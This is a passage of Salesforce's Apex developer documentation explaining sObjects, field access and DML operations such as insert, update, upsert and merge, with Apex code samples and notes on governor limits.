SOQL and SOSL Queries

You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex by surrounding the statement in square brackets.

SOQL For Loops

SOQL `for` loops iterate over all of the `sObject` records returned by a SOQL query.

`sObject` Collections

You can manage `sObjects` in lists, sets, and maps.

Dynamic Apex

Apex Security and Sharing Model

The Apex security model includes record-level, field-level, and object-level security mechanisms. You can control record-level security modes by using the `with sharing`, `without sharing`, and `inherited sharing` keywords on classes. Apex runs in user mode by default, which means that user permissions on objects and field-level security are respected. A user cannot run code that tries to access fields or objects that are hidden from the user. Other security mechanisms include the `Security.stripInaccessible()` method, and `Field` and `SObject` describe methods.

Custom Settings

Custom settings are similar to custom objects. Application developers can create custom sets of data and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. Formula fields, validation rules, flows, Apex, and SOAP API can then use this data.

Working with `sObjects`

In this developer guide, the term *sObject* refers to any object that can be stored in the Lightning platform database.

[sObject Types](#)

An sObject variable represents a row of data and can only be declared in Apex using SOAP API name of the object.

[Accessing sObject Fields](#)

[Validating sObjects and Fields](#)

sObject Types

An sObject variable represents a row of data and can only be declared in Apex using SOAP API name of the object.

For example:

```
Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();
```

Similar to SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be used in code that processes different types of sObjects.

The **new** operator still requires a concrete sObject type, so all instances are specific sObjects. For example:

```
sObject s = new Account();
```

You can also use casting between the generic sObject type and the specific sObject type. For example:

```
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;
```

Because sObjects work like objects, you can also have the following:

```
Object obj = s;
// and
a = (Account)obj;
```

DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.

sObject variables are initialized to **null**, but can be assigned a valid object reference with the **new** operator. For example:

```
Account a = new Account();
```

Developers can also specify initial field values with comma-separated **name = value** pairs when instantiating a new sObject. For example:

```
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
```

For information on accessing existing sObjects from the Lightning Platform database, see “SOQL and SOSL Queries” in the *SOQL and SOSL Reference*.



Note: The Lightning Platform assigns ID values automatically when an object record is initially inserted to the database for the first time. For more information see [Lists](#) on page 29.

Custom Labels

Custom labels aren't standard sObjects. You can't create a new instance of a custom label. You can only access the value of a custom label using `system.label.label_name`. For example:

```
String errorMsg = System.Label.generic_error;
```

For more information on custom labels, see "Custom Labels" in Salesforce Help.

Accessing SOBJect Fields

As in Java, SOBJect fields can be accessed or changed with simple dot notation. For example:

```
Account a = new Account();
a.Name = 'Acme';    // Access the account name field and assign it 'Acme'
```

System-generated fields, such as `Created By` or `Last Modified Date`, cannot be modified. If you try, the Apex runtime engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be changed.

If you use the generic SOBJect type instead of a specific object, such as `Account`, you can retrieve only the `Id` field using dot notation. You can set the `Id` field for Apex code saved using Salesforce API version 27.0 and later). Alternatively, you can use the generic SOBJect `put` and `get` methods. See [SOBJect Class](#).

This example shows how you can access the `Id` field and operations that aren't allowed on generic SOBJects.

```
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;
```



Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person accounts. If your code creates a new account using `name`, a business account is created. If your code uses `LastName`, a person account is created.

If you want to perform operations on an SOBJect, it is recommended that you first convert it into a specific object. For example:

```
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);
```

The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted the generic SOBJect record into a `Contact`, `Lead`, or `Account`, you can modify its fields accordingly:

```
public class convertToCLA {
    List<Contact> contacts = new List<Contact>();
    List<Lead> leads = new List<Lead>();
```

```

List<Account> accounts = new List<Account>();

public void convertType(String phoneNumber) {
    List<List<SObject>> results = [FIND :phoneNumber
        IN Phone FIELDS
        RETURNING Contact(Id, Phone, FirstName, LastName),
        Lead(Id, Phone, FirstName, LastName),
        Account(Id, Phone, Name)];
    List<SObject> records = new List<SObject>();
    records.addAll(results[0]); //add Contact results to our results super-set
    records.addAll(results[1]); //add Lead results
    records.addAll(results[2]); //add Account results

    if (!records.isEmpty()) {
        for (Integer i = 0; i < records.size(); i++) {
            SObject record = records[i];
            if (record.getSObjectType() == Contact.sObjectType) {
                contacts.add((Contact) record);
            } else if (record.getSObjectType() == Lead.sObjectType) {
                leads.add((Lead) record);
            } else if (record.getSObjectType() == Account.sObjectType) {
                accounts.add((Account) record);
            }
        }
    }
}

```

Using SObject Fields

SObject fields can be initially set or not set (unset); unset fields are not the same as null or blank fields. When you perform a DML operation on an SObject, you can change a field that is set; you can't change unset fields.

 **Note:** To erase the current value of a field, set the field to null.

If an Apex method takes an SObject parameter, you can use the `System.isSet()` method to identify the set fields. If you want to unset any fields to retain their values, first create an SObject instance. Then apply only the fields you want to be part of the DML operation.

This example code shows how SObject fields are identified as set or unset.

```

Contact nullFirst = new Contact(LastName='Codey', FirstName=null);
System.assertEquals(true, nullFirst.isSet('FirstName'), 'FirstName is set to a literal
value, so it counts as set');
Contact unsetFirst = new Contact(LastName='Astro');
System.assertEquals(false, unsetFirst.isSet('FirstName'), 'FirstName is not set');

```

An expression with SObject fields of type Boolean evaluates to true only if the SObject field is true. If the field is false or null, the expression evaluates to false. This example code shows an expression that checks if the `IsActive` field of a Campaign object is null. Because this expression always evaluates to false, the code in the `if` statement is never executed.

```

Campaign cObj= new Campaign();
...
if (cObj.IsActive == null) {
    ... // IsActive is evaluated to false and this code block is not executed.
}

```

Validating sObjects and Fields

When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names, and a parse-time exception is thrown when an invalid name is used.

In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded SOQL and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause Apex code to become invalid:

- Changing a field or object name
- Converting from one data type to another
- Deleting a field or object
- Making certain organization-wide changes, such as record sharing, field history tracking, or record types

Data Manipulation Language

Apex enables you to insert, update, delete or restore data in the database. DML operations allow you to modify records one at a time or in batches.

[How DML Works](#)

[Adding and Retrieving Data With DML](#)

Apex is tightly integrated with the Lightning Platform persistence layer. Records in the database can be inserted and manipulated through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations (querying records), DML is used for write operations.

[DML Statements vs. Database Class Methods](#)

Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how you perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your code.

[DML Operations As Atomic Transactions](#)

[DML Operations](#)

Using DML, you can insert new records and commit them to the database. You can also update the field values of existing records.

[Exception Handling](#)

[More About DML](#)

Here are some things you may want to know about using Data Manipulation Language.

[Locking Records](#)

When an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface. The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won't be changed by another client during the lock period.

How DML Works

Single vs. Bulk DML Operations

You can perform DML operations either on a single sObject, or in bulk on a list of sObjects. Performing bulk DML operations is the recommended way because it helps avoid hitting governor limits, such as the DML limit of 150 statements per Apex transaction. This

limit is in place to ensure fair access to shared resources in the Lightning Platform. Performing a DML operation on a list of sObjects counts as one DML statement, not as one statement for each sObject.

This example performs DML calls on single sObjects, which isn't efficient.

The `for` loop iterates over contacts. For each contact, if the department field matches a certain value, it sets a new value for the Description field. If the list contains more than items, the 151st update returns an exception that can't be caught.

```
List<Contact> conList = [Select Department , Description from Contact];
for(Contact badCon : conList) {
    if (badCon.Department == 'Finance') {
        badCon.Description = 'New description';
    }
    // Not a good practice since governor limits might be hit.
    update badCon;
}
```

This example is a modified version of the previous example that doesn't hit the governor limit. The DML operation is performed in bulk by calling `update` on a list of contacts. This code counts as one DML statement, which is far below the limit of 150.

```
// List to hold the new contacts to update.
List<Contact> updatedList = new List<Contact>();
List<Contact> conList = [Select Department , Description from Contact];
for(Contact con : conList) {
    if (con.Department == 'Finance') {
        con.Description = 'New description';
        // Add updated contact sObject to the list.
        updatedList.add(con);
    }
}

// Call update on the list of contacts.
// This results in one DML call for the entire list.
update updatedList;
```

Another DML governor limit is the total number of rows that can be processed by DML operations in a single transaction, which is 10,000. All rows processed by all DML calls in the same transaction count incrementally toward this limit. For example, if you insert 100 contacts and update 50 contacts in the same transaction, your total DML processed rows are 150. You still have 9,850 rows left (10,000 - 150).

System Context and Sharing Rules

Most DML operations execute in user context, which means that the current user's permissions, field-level security, organization-wide defaults, position in the role hierarchy, and sharing rules are enforced. See [Apex Security and Sharing Model](#).

Best Practices

With DML on sObjects, it's best to construct new instances and only update the fields you wish to modify without querying other fields. If you query fields other than the fields you wish to update, you may revert queried field values that could have changed between the query and the DML.

Adding and Retrieving Data With DML

Apex is tightly integrated with the Lightning Platform persistence layer. Records in the database can be inserted and manipulated through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations (querying records), DML is used for write operations.

Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic data type and corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped from the sObject data type, which correspond to data types of standard object records, such as Account or Contact, and custom objects, such as Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when you don't know the type of the sObject in advance, you can work with the generic sObject data type. This is an example of how you can create a new specific Account sObject and assign it to a variable.

```
Account a = new Account (Name='Account Example');
```

In the previous example, the account referenced by the variable `a` exists in memory with the required `Name` field. However, it is not persisted yet to the Lightning Platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is an example of creating and persisting this account using the `insert` statement.

```
Account a = new Account (Name='Account Example');
insert a;
```

Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates, deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject instances that you can modify and then persist the changes of. This is an example of querying for an existing record that has been previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change to the database.

```
// Query existing account.
Account a = [SELECT Name,Industry
             FROM Account
             WHERE Name='Account Example' LIMIT 1];

// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry); // Industry is not set

// Modify the two fields on the sObject.
a.Name = 'Account of the Day';
a.Industry = 'Technology';

// Persist the changes.
update a;

// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry
             FROM Account
             WHERE Name='Account of the Day' LIMIT 1];

// Verify that updated field values were persisted.
System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);
```

DML Statements vs. Database Class Methods

Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how you perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your code.

This is an example of a DML statement to insert a new record.

```
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account (Name='Acme1'));
acctList.add(new Account (Name='Acme2'));

// DML statement
insert acctList;
```

This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb.

```
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account (Name='Acme1'));
acctList.add(new Account (Name='Acme2'));

// DML statement
Database.SaveResult[] srList = Database.insert(acctList, false);

// Iterate through each returned result
for (Database.SaveResult sr : srList) {
    if (sr.isSuccess()) {
        // Operation was successful, so get the ID of the record that was processed
        System.debug('Successfully inserted account. Account ID: ' + sr.getId());
    }
    else {
        // Operation failed, so get all errors
        for(Database.Error err : sr.getErrors()) {
            System.debug('The following error has occurred.');
```

```
            System.debug(err.getStatusCode() + ': ' + err.getMessage());
            System.debug('Account fields that affected this error: ' + err.getFields());
        }
    }
}
```

One difference between the two options is that by using the Database class method, you can specify whether or not to allow for partial record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If you specify `false` for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead of exceptions, a result object array (or one result object if only one sObject was passed in) is returned containing the status of each operation and any errors encountered. By default, this optional parameter is `true`, which means that if at least one sObject can't be processed, all remaining sObjects won't and an exception will be thrown for the record that causes a failure.

The following helps you decide when you want to use DML statements or Database class methods.

- Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately interrupts control flow (by using `try` . . . `catch` blocks). This behavior is similar to the way exceptions are handled in most database procedural languages.
- Use Database class methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder of the DML operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this

form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge success or failure. Note that Database methods also include a syntax that supports thrown exceptions, similar to DML statements.

 **Note:** Most operations overlap between the two, except for a few.

- The `convertLead` operation is only available as a Database class method, not as a DML statement.
- The Database class also provides methods not available as DML statements, such as methods transaction control and rollback, emptying the Recycle Bin, and methods related to SOQL queries.

SEE ALSO:

[Apex Reference Guide: Database Class Methods](#)

DML Operations As Atomic Transactions

DML operations execute within a transaction. All DML operations in a transaction either complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, an Apex page, or a custom Web service method.

All operations that occur inside the transaction boundary represent a single unit of operations. This also applies to calls that are made from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction boundary. For example, consider the following chain of operations: a custom Apex Web service method calls a method in a class that performs some DML operations. In this case, all changes are committed to the database only after all operations in the transaction finish executing and don't cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the transaction isn't committed.

DML Operations

Using DML, you can insert new records and commit them to the database. You can also update the field values of existing records.

[Inserting and Updating Records](#)

Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records.

[Upserting Records](#)

[Merging Records](#)

When you have duplicate lead, contact, case, or account records in the database, cleaning up your data and consolidating the records is a good idea. You can merge up to three records of the same sObject type. The `merge` operation merges the duplicate records into the main record, deletes the duplicate records, and reparents any related records.

[Deleting Records](#)

[Restoring Deleted Records](#)

[Converting Leads](#)

Inserting and Updating Records

Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records.



Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

This example inserts three account records and updates an existing account record. First, three Account sObjects are created and added to a list. An insert statement bulk inserts the list of accounts as an argument. Then, the second account record is updated, the billing city is updated, and the update statement is called to persist the change in the database.

```
Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
    Account a = new Account(Name='Acme' + i,
                             BillingCity='San Francisco');
    accts.add(a);
}
Account accountToUpdate;
try {
    insert accts;

    // Update account Acme2.
    accountToUpdate =
        [SELECT BillingCity FROM Account
         WHERE Name='Acme2' AND BillingCity='San Francisco'
         LIMIT 1];
    // Update the billing city.
    accountToUpdate.BillingCity = 'New York';
    // Make the update call.
    update accountToUpdate;
} catch(DmlException e) {
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}

// Verify that the billing city was updated to New York.
Account afterUpdate =
    [SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
System.assertEquals('New York', afterUpdate.BillingCity);
```

Inserting Related Records

You can insert records related to existing records if a relationship has already been defined between the two objects, such as a lookup or master-detail relationship. A record is associated with a related record through a foreign key ID. For example, when inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field.

This example adds a contact to an account (the related record) by setting the AccountId field on the contact. Contact and Account are linked through a lookup relationship.

```
try {
    Account acct = new Account(Name='SFDC Account');
    insert acct;

    // Once the account is inserted, the sObject will be
    // populated with an ID.
    // Get this ID.
    ID acctID = acct.ID;

    // Add a contact to this account.
    Contact con = new Contact(
        FirstName='Joe',
        LastName='Smith',
```

```

        Phone='415.555.1212',
        AccountId=acctID);
    insert con;
} catch(DmlException e) {
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}

```

Updating Related Records

Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For example, if inserting a new contact, you can specify the contact's related account record by setting the value of the `AccountId` field. However, you can't change the account's name without updating the account itself with a separate DML call. Similarly, when updating a contact, if you also want to update the contact's related account, you must make two DML calls. The following example updates a contact and its related account using two `update` statements.

```

try {
    // Query for the contact, which has been associated with an account.
    Contact queriedContact = [SELECT Account.Name
                              FROM Contact
                              WHERE FirstName = 'Joe' AND LastName='Smith'
                              LIMIT 1];

    // Update the contact's phone number
    queriedContact.Phone = '415.555.1213';

    // Update the related account industry
    queriedContact.Account.Industry = 'Technology';

    // Make two separate calls
    // 1. This call is to update the contact's phone.
    update queriedContact;
    // 2. This call is to update the related account's Industry field.
    update queriedContact.Account;
} catch(Exception e) {
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}

```

Relating Records by Using an External ID

Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an alternative to using the record ID. You can add a related record to another record only if a relationship (such as master-detail or lookup) has been defined for the objects involved.

Creating Parent and Child Records in a Single Statement Using Foreign Keys

Relating Records by Using an External ID

Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an alternative to using the record ID. You can add a related record to another record only if a relationship (such as master-detail or lookup) has been defined for the objects involved.



Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

This example relates a new opportunity to an existing account. The Account sObject has a custom field marked as External ID. An opportunity record is associated to the account record through the custom External ID field. The example assumes that:

- The Account sObject has an external ID field of type text and named `MyExtID`
- An account record exists where `MyExtID__c = 'SAP111111'`

Before the new opportunity is inserted, the account record is added to this opportunity as an sObject through the `Opportunity.Account` relationship field.

```
Opportunity newOpportunity = new Opportunity(
    Name='OpportunityWithAccountInsert',
    StageName='Prospecting',
    CloseDate=Date.today().addDays(7));

// Create the parent record reference.
// An account with external ID = 'SAP111111' already exists.
// This sObject is used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
    MyExtID__c='SAP111111');

// Add the account sObject to the opportunity.
newOpportunity.Account = accountReference;

// Create the opportunity.
Database.SaveResult results = Database.insert(newOpportunity);
```

The previous example performs an insert operation, but you can also relate sObjects through external ID fields when performing updates or upserts. If the parent record doesn't exist, you can create it with a separate DML statement or by using the same DML statement as shown in [Creating Parent and Child Records in a Single Statement Using Foreign Keys](#).

Creating Parent and Child Records in a Single Statement Using Foreign Keys

You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of creating the parent record first, querying its ID, and then creating the child record. To do this:

- Create the child sObject and populate its required fields, and optionally other fields.
- Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only the external ID field defined and no other fields set.
- Set the foreign key field of the child sObject to the parent reference sObject you just created.
- Create another parent sObject to be passed to the `insert` statement. This sObject must have the required fields (and optionally other fields) set in addition to the external ID field.
- Call `insert` by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is, the array index of the parent must be lower than the child's index.

You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject types. For more information, see [Creating Records for Different Object Types](#) in the *SOAP API Developer Guide*.

The following example shows how to create an opportunity with a parent account using the same `insert` statement. The example creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field, `MyExtID__c`, set. Next, the sample calls `Database.insert` by passing it an array of sObjects. The first element in the array is the parent sObject and the second is the opportunity sObject. The `Database.insert` statement creates the opportunity with its

parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the first error if record creation fails. This sample requires an external ID text field on Account called MyExtID.

```
public class ParentChildSample {
    public static void InsertParentChild() {
        Date dt = Date.today();
        dt = dt.addDays(7);
        Opportunity newOpportunity = new Opportunity(
            Name='OpportunityWithAccountInsert',
            StageName='Prospecting',
            CloseDate=dt);

        // Create the parent reference.
        // Used only for foreign key reference
        // and doesn't contain any other fields.
        Account accountReference = new Account(
            MyExtID__c='SAP111111');
        newOpportunity.Account = accountReference;

        // Create the Account object to insert.
        // Same as above but has Name field.
        // Used for the insert.
        Account parentAccount = new Account(
            Name='Hallie',
            MyExtID__c='SAP111111');

        // Create the account and the opportunity.
        Database.SaveResult[] results = Database.insert(new SObject[] {
            parentAccount, newOpportunity });

        // Check results.
        for (Integer i = 0; i < results.size(); i++) {
            if (results[i].isSuccess()) {
                System.debug('Successfully created ID: '
                    + results[i].getId());
            } else {
                System.debug('Error: could not create subject '
                    + 'for array element ' + i + '.');
                System.debug('    The error reported was: '
                    + results[i].getErrors()[0].getMessage() + '\n');
            }
        }
    }
}
```

Upserting Records

Using the **upsert** operation, you can either insert or update an existing record in one call. To determine whether a record already exists, the **upsert** statement or Database method uses the record's ID as the key to match records, a custom external ID field, or a standard field with the `idLookup` attribute set to true.

- If the key isn't matched, then a new object record is created.
- If the key is matched once, then the existing object record is updated.
- If the key is matched multiple times, then an error is generated and the object record is not inserted or updated.

 **Note:** Custom field matching is case-insensitive only if the custom field has the **Unique** and **Treat "ABC" and "abc" as duplicate values (case insensitive)** attributes selected as part of the field definition. If this is the case, "ABC123" is matched with "abc123."

Examples

The following example updates the city name for all existing accounts in the city formerly known as Bombay, and also inserts a new account in San Francisco:

```
Account[] acctsList = [SELECT Id, Name, BillingCity
                        FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
    a.BillingCity = 'Mumbai';
}
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
    upsert acctsList;
} catch (DmlException e) {
    // Process exception here
}
```

 **Note:** For more information on processing DmlExceptions, see [Bulk DML Exception Handling](#).

This next example uses the `Database.upsert` method to upsert a collection of leads that are passed in. This example allows for partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates through the results and adds a task to each record that was processed successfully. The task sObjects are saved in a list, which is then bulk inserted. This example is followed by a test class that contains a test method for testing the example.

```
/* This class demonstrates and tests the use of the
 * partial processing DML operations */

public class DmlSamples {

    /* This method accepts a collection of lead records and
     creates a task for the owner(s) of any leads that were
     created as new, that is, not updated as a result of the upsert
     operation */
    public static List<Database.upsertResult> upsertLeads(List<Lead> leads) {

        /* Perform the upsert. In this case the unique identifier for the
         insert or update decision is the Salesforce record ID. If the
         record ID is null the row will be inserted, otherwise an update
         will be attempted. */
        List<Database.upsertResult> uResults = Database.upsert(leads, false);

        /* This is the list for new tasks that will be inserted when new
         leads are created. */
        List<Task> tasks = new List<Task>();
        for(Database.upsertResult result:uResults) {
            if (result.isSuccess() && result.isCreated())
                tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
        }

        /* If there are tasks to be inserted, insert them */
    }
}
```

```

        Database.insert(tasks);

        return uResults;
    }
}

```

```

@isTest
private class DmlSamplesTest {
    public static testMethod void testUpsertLeads() {
        /* We only need to test the insert side of upsert */
        List<Lead> leads = new List<Lead>();

        /* Create a set of leads for testing */
        for(Integer i = 0; i < 100; i++) {
            leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
        }

        /* Switch to the runtime limit context */
        Test.startTest();

        /* Exercise the method */
        List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);

        /* Switch back to the test context for limits */
        Test.stopTest();

        /* ID set for asserting the tasks were created as expected */
        Set<Id> ids = new Set<Id>();

        /* Iterate over the results, asserting success and adding the new ID
         to the set for use in the comprehensive assertion phase below. */
        for(Database.upsertResult result:results) {
            System.assert(result.isSuccess());
            ids.add(result.getId());
        }

        /* Assert that exactly one task exists for each lead that was inserted. */
        for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
            System.assertEquals(1, l.tasks.size());
        }
    }
}

```

Use of **upsert** with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor limits (see [Execution Governors and Limits](#)).

This example uses **upsert** and an external ID field `Line_Item_Id__c` on the Asset object to maintain a one-to-one relationship between an asset and an opportunity line item. Before running the sample, create a custom text field on the Asset object named `Line_Item_Id__c` and mark it as an external ID. For information on custom fields, see [Salesforce Help](#).



Note: External ID fields used in upsert calls must be unique or the user must have the View All Data permission.

```

public void upsertExample() {
    Opportunity opp = [SELECT Id, Name, AccountId,
                        (SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name

```

```

                FROM OpportunityLineItems)
            FROM Opportunity
            WHERE HasOpportunityLineItem = true
            LIMIT 1];

Asset[] assets = new Asset[]{};

// Create an asset for each line item on the opportunity
for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {

    //This code populates the line item Id, AccountId, and Product2Id for each asset
    Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
                            Line_Item_ID__c = lineItem.Id,
                            AccountId = opp.AccountId,
                            Product2Id = lineItem.PricebookEntry.Product2Id);

    assets.add(asset);
}

try {
    upsert assets Line_Item_ID__c; // This line upserts the assets list with
                                // the Line_Item_Id__c field specified as the
                                // Asset field that should be used for matching
                                // the record that should be upserted.
} catch (DmlException e) {
    System.debug(e.getMessage());
}
}

```

Merging Records

When you have duplicate lead, contact, case, or account records in the database, cleaning up your data and consolidating the records is a good idea. You can merge up to three records of the same sObject type. The **merge** operation merges the duplicate records into the main record, deletes the duplicate records, and reparents any related records.

Use the **merge** Statement

This example shows how to merge a duplicate account record into a main account record. The duplicate account has a related contact, which is moved to the main account record after the **merge** operation. After merging, the duplicate record is deleted and only the main record remains in the database.

```

// Insert new accounts
List<Account> ls = new List<Account>{
    new Account(name='Acme Inc.'),
    new Account(name='Acme')
};
insert ls;

// Queries to get the inserted accounts
Account mainAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account dupAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];

```

```
// Add a contact to the account to be merged
Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = dupAcct.Id;
insert c;

try {
    merge mainAcct dupAcct;
} catch (DmlException e) {
    // Process exception
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}

// After the account is merged with the main account,
// the related contact is moved to the main record.
mainAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts)
            FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(mainAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', mainAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', mainAcct.getSObjects('Contacts')[0].get('LastName'));

// Verify that the duplicate record is deleted
Account[] result = [SELECT Id, Name FROM Account WHERE Id=:dupAcct.Id];
System.assertEquals(0, result.size());
```

Use the `Database.merge` Method

This second example is similar to the previous example, except that it uses the `Database.merge` method instead of the `merge` statement. The last argument of `Database.merge` is set to `false`, so any errors encountered in this operation are returned in the merge result without throwing exceptions. In the example, a main account and two duplicate account records are created. One of the duplicate account records has a child contact record. Through the merge operation, the contact is moved to the main account record, and the other records are deleted.



Note: To use the `AccountContactRelation` sObject in this example, enable the “Allow users to relate a contact to multiple accounts” setting in your org. See [Set Up Contacts to Multiple Accounts](#).

```
// Create main account
Account main = new Account(Name='Account1');
insert main;

// Create duplicate accounts
Account[] duplicates = new Account[]{
    // Duplicate account
    new Account(Name='Account1, Inc.'),
    // Second duplicate account
    new Account(Name='Account 1')
};
insert duplicates;

// Create child contact and associate it with first account
Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;
```



```

// Get the account contact relation ID, which is created when a contact is created on
"Account1, Inc."
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE
ContactId=:c.Id LIMIT 1];

// Merge duplicate accounts into main account
Database.MergeResult[] results = Database.merge(main, duplicates, false);

for(Database.MergeResult res : results) {
    if (res.isSuccess()) {
        // Get the main record ID from the result and validate it
        System.debug('Main record ID: ' + res.getId());
        System.assertEquals(main.Id, res.getId());

        // Get the IDs of the merged records and display them
        List<Id> mergedIds = res.getMergedRecordIds();
        System.debug('IDs of merged records: ' + mergedIds);

        // Get the ID of the reparented record and
        // validate that this the contact ID.
        System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());

        // Make sure there are two IDs (contact ID and account contact relation ID); the order
        // isn't defined
        System.assertEquals(2, res.getUpdatedRelatedIds().size() );
        boolean flag1 = false;
        boolean flag2 = false;

        // Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the
        // array
        if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id ==
res.getUpdatedRelatedIds()[1] )
            flag1 = true;

        if (c.id == res.getUpdatedRelatedIds()[0] || c.id == res.getUpdatedRelatedIds()[1]
)
            flag2 = true;

        System.assertEquals(flag1, true);
        System.assertEquals(flag2, true);

    }
    else {
        for(Database.Error err : res.getErrors()) {
            // Write each error to the debug output
            System.debug(err.getMessage());
        }
    }
}

```

Merge Considerations

When merging sObject records, consider these rules and guidelines:

- Only leads, contacts, cases, and accounts can be merged. See [sObjects That Don't Support DML Operations](#) on page 164.
- You can pass a main record and up to two additional sObject records to a single `merge` method.
- Field values on the main record, including null and empty field values, always supersede the corresponding field values on the records to be merged. Therefore, if a field value on the main record is empty, the resulting field value remains empty after the `merge` operation regardless of the field value on the duplicate record. To preserve a field value from a duplicate record, manually set this field value on the main record before performing the merge.
- External ID fields can't be used with `merge`.

Deleting Records

